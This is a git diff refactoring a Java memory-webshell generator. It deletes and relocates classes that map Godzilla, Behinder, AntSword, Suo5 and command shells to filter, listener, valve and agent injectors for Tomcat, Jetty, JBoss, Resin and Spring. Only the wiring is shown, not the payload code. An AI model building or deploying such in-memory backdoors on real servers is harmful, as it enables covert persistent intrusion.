com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.CommandValve; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; -import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; -import com.reajason.javaweb.memshell.tomcat.command.CommandListener; -import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector; -import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; -import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/10 - */ -public class JbossShell extends AbstractShell { - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class)); - map.put(VALVE, Pair.of(CommandValve.class, JbossValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)); - map.put(VALVE, Pair.of(GodzillaValve.class, JbossValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class)); - map.put(VALVE, Pair.of(BehinderValve.class, JbossValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(Suo5Filter.class, JbossFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, JbossListenerInjector.class)); - map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class)); - map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java deleted file mode 100644 index 55d35996..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java +++ /dev/null @@ -1,100 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor; -import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor; -import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener; -import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor; -import com.reajason.javaweb.memshell.jetty.command.CommandListener; -import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor; -import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector; -import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector; -import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector; -import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector; -import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/7 - */ -public class JettyShell extends AbstractShell { - public static final String AGENT_HANDLER = AGENT + "Handler"; - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class)); - map.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)); - map.put(AGENT_HANDLER, Pair.of(CommandHandlerAdvisor.class, JettyHandlerAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class)); - map.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)); - map.put(AGENT_HANDLER, Pair.of(GodzillaHandlerAdvisor.class, JettyHandlerAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class)); - map.put(FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class)); - map.put(AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class)); - map.put(FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class)); - map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class)); - map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java similarity index 94% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java rename to generator/src/main/java/com/reajason/javaweb/memshell/Packers.java index 244d8aa1..2c68dd9c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java @@ -1,5 +1,8 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.packer.BCELPacker; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.XxlJobPacker; import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker; import com.reajason.javaweb.memshell.packer.base64.Base64Packer; import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer; @@ -34,6 +37,7 @@ import lombok.Getter; import java.util.List; import java.util.Objects; +import java.util.stream.Collectors; import java.util.stream.Stream; /** @@ -130,6 +134,6 @@ public enum Packers { } public static List getPackersWithParent(Class parentPacker) { - return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList(); + return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList()); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java deleted file mode 100644 index 61db2198..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java +++ /dev/null @@ -1,88 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.resin.behinder.BehinderListener; -import com.reajason.javaweb.memshell.resin.command.CommandListener; -import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector; -import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector; -import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector; -import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector; -import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/14 - */ -public class ResinShell extends AbstractShell { - public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class)); - map.put(FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, ResinFilterChainAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class)); - map.put(FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, ResinFilterChainAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class)); - map.put(FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(Suo5Servlet.class, ResinServletInjector.class)); - map.put(FILTER, Pair.of(Suo5Filter.class, ResinFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class)); - map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java similarity index 95% rename from generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java rename to generator/src/main/java/com/reajason/javaweb/memshell/Server.java index 2d5872f3..bad2ef60 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -1,6 +1,6 @@ -package com.reajason.javaweb.memshell.config; +package com.reajason.javaweb.memshell; -import com.reajason.javaweb.memshell.*; +import com.reajason.javaweb.memshell.server.*; import lombok.Getter; /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java similarity index 87% rename from generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java rename to generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java index cab660e2..8255b135 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.config; +package com.reajason.javaweb.memshell; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java similarity index 80% rename from generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java rename to generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 7c65c63e..861aca81 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -1,13 +1,10 @@ -package com.reajason.javaweb.memshell.config; - -import net.bytebuddy.jar.asm.Opcodes; +package com.reajason.javaweb.memshell; /** * @author ReaJason * @since 2024/11/28 */ -public class Constants { - public static final int DEFAULT_VERSION = Opcodes.V1_6; +public class ShellType { public static final String SERVLET = "Servlet"; public static final String JAKARTA_SERVLET = "JakartaServlet"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java deleted file mode 100644 index d93c66f0..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java +++ /dev/null @@ -1,57 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction; -import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod; -import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler; -import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter; -import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction; -import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod; -import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler; -import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter; -import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector; -import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector; -import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector; -import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector; -import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/24 - */ -public class SpringWebFluxShell extends AbstractShell { - public static final String WEB_FILTER = "WebFilter"; - public static final String HANDLER_METHOD = "HandlerMethod"; - public static final String HANDLER_FUNCTION = "HandlerFunction"; - public static final String NETTY_HANDLER = "NettyHandler"; - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(WEB_FILTER, Pair.of(CommandWebFilter.class, SpringWebFluxWebFilterInjector.class)); - map.put(HANDLER_METHOD, Pair.of(CommandHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class)); - map.put(HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class)); - map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, SpringWebFluxNettyHandlerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(WEB_FILTER, Pair.of(GodzillaWebFilter.class, SpringWebFluxWebFilterInjector.class)); - map.put(HANDLER_METHOD, Pair.of(GodzillaHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class)); - map.put(HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class)); - map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(WEB_FILTER, Pair.of(Suo5WebFilter.class, SpringWebFluxWebFilterInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java deleted file mode 100644 index c4ae42aa..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java +++ /dev/null @@ -1,87 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler; -import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor; -import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor; -import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler; -import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor; -import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor; -import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler; -import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor; -import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler; -import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor; -import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor; -import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector; -import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector; -import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector; -import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler; -import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/22 - */ -public class SpringWebMvcShell extends AbstractShell { - public static final String INTERCEPTOR = "Interceptor"; - public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor"; - public static final String CONTROLLER_HANDLER = "ControllerHandler"; - public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler"; - public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet"; - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class)); - map.put(JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class)); - map.put(CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); - map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); - map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class)); - map.put(JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class)); - map.put(CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); - map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); - map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class)); - map.put(JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class)); - map.put(CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); - map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); - map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class)); - map.put(JAKARTA_INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class)); - map.put(CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); - map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class)); - map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); - map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class)); - return map; - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java deleted file mode 100644 index 0176e7da..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java +++ /dev/null @@ -1,119 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; -import com.reajason.javaweb.memshell.shelltool.command.CommandValve; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; -import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; -import com.reajason.javaweb.memshell.tomcat.command.CommandListener; -import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket; -import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.tomcat.injector.*; -import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/11/22 - */ -public class TomcatShell extends AbstractShell { - public static final String WEBSOCKET = "WebSocket"; - public static final String UPGRADE = "Upgrade"; - public static final String EXECUTOR = "Executor"; - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)); - map.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); - map.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - map.put(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, 